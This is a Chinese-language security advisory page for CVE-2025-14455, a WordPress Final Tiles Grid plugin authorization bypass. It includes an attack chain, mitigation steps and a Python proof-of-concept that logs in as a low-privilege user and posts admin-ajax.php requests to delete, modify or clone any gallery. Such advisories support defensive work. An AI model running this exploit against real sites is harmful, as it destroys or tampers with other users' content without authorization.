IPBUF安全漏洞报告
English
CVE-2025-14455 CVSS 5.4 中危

CVE-2025-14455 WordPress Final Tiles Grid插件授权绕过漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14455
漏洞类型
授权绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Image Photo Gallery Final Tiles Grid plugin for WordPress

相关标签

授权绕过WordPress插件漏洞CVE-2025-14455Final Tiles Grid权限控制缺陷媒体画廊漏洞WordPress安全

漏洞概述

WordPress的Image Photo Gallery Final Tiles Grid插件存在严重的授权绕过漏洞,影响版本至3.6.7。该漏洞源于插件未能正确验证用户是否有权对画廊管理功能执行操作。由于WordPress默认允许所有已登录用户访问admin-ajax.php端点,且插件的关键功能函数缺少权限检查,攻击者只需拥有 Contributor(贡献者)级别或更高的账户权限,即可对任意用户(包括管理员)创建的画廊执行删除、修改或克隆操作。攻击者可利用此漏洞篡改网站内容、删除重要画廊数据,甚至可能通过社会工程学手段进一步横向移动。此漏洞CVSS评分为5.4(中危),攻击向量为网络形式,无需用户交互,认证要求低,对机密性无影响,但会影响数据完整性和可用性。

技术细节

该授权绕过漏洞的根本原因在于FinalTilesGalleryLite.php文件中的多个关键函数缺少WordPress capability检查。攻击者可利用WordPress默认允许所有已登录用户访问admin-ajax.php的特性,通过构造特定的AJAX请求调用这些未授权的功能函数。具体来说,插件在处理画廊管理操作时(如删除、修改、克隆画廊),仅验证了用户是否已登录,而未检查用户是否具有管理其他用户内容的权限。攻击者只需在请求中指定目标画廊ID,即可对任意画廊执行操作。例如,攻击者可以发送包含action参数(如ftgg_delete_gallery)和gallery_id参数的POST请求到admin-ajax.php,插件会直接执行删除操作而不验证请求者是否拥有该画廊的所有权或管理权限。攻击者可以利用此漏洞批量删除画廊、修改画廊内容或克隆画廊设置,造成数据丢失或内容篡改。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本,确认安装了Final Tiles Grid插件并获取其版本号(需<=3.6.7)
STEP 2
账户获取
攻击者获取目标WordPress站点的Contributor(贡献者)级别或更高权限的账户凭据,可通过默认注册、弱口令或社会工程学手段获取
STEP 3
构造恶意请求
攻击者构造针对admin-ajax.php的AJAX请求,包含插件的画廊管理操作(如ftgg_delete_gallery、ftgg_update_gallery或ftgg_clone_gallery)以及目标画廊ID
STEP 4
触发授权绕过
发送恶意请求到wp-admin/admin-ajax.php端点,由于插件未正确验证用户权限,请求会被执行,攻击者成功对任意画廊进行删除、修改或克隆操作
STEP 5
造成危害
攻击者可批量删除画廊造成数据丢失、修改画廊内容进行篡改、或克隆画廊设置用于进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14455 PoC - WordPress Final Tiles Grid Authorization Bypass # Target: Image Photo Gallery Final Tiles Grid plugin <= 3.6.7 def exploit_authorization_bypass(target_url, username, password, gallery_id, action='delete'): """ Exploit authorization bypass in Final Tiles Grid plugin. Args: target_url: WordPress site URL username: Contributor+ level username password: Password gallery_id: ID of gallery to target action: 'delete', 'modify', or 'clone' """ session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } session.post(login_url, data=login_data) # Define action mappings action_map = { 'delete': 'ftgg_delete_gallery', 'modify': 'ftgg_update_gallery', 'clone': 'ftgg_clone_gallery' } ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Exploit authorization bypass exploit_data = { 'action': action_map.get(action, 'ftgg_delete_gallery'), 'gallery_id': gallery_id } response = session.post(ajax_url, data=exploit_data) return response if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <gallery_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] gid = sys.argv[4] result = exploit_authorization_bypass(target, user, pwd, gid) print(f"Status: {result.status_code}") print(f"Response: {result.text}")

影响范围

Image Photo Gallery Final Tiles Grid plugin <= 3.6.7

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)暂时禁用Final Tiles Grid插件;2)限制用户注册,仅允许管理员创建新用户;3)使用防火墙规则限制对wp-admin/admin-ajax.php的访问,仅允许白名单IP访问;4)实施双因素认证增强账户安全;5)定期备份网站数据以便快速恢复。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表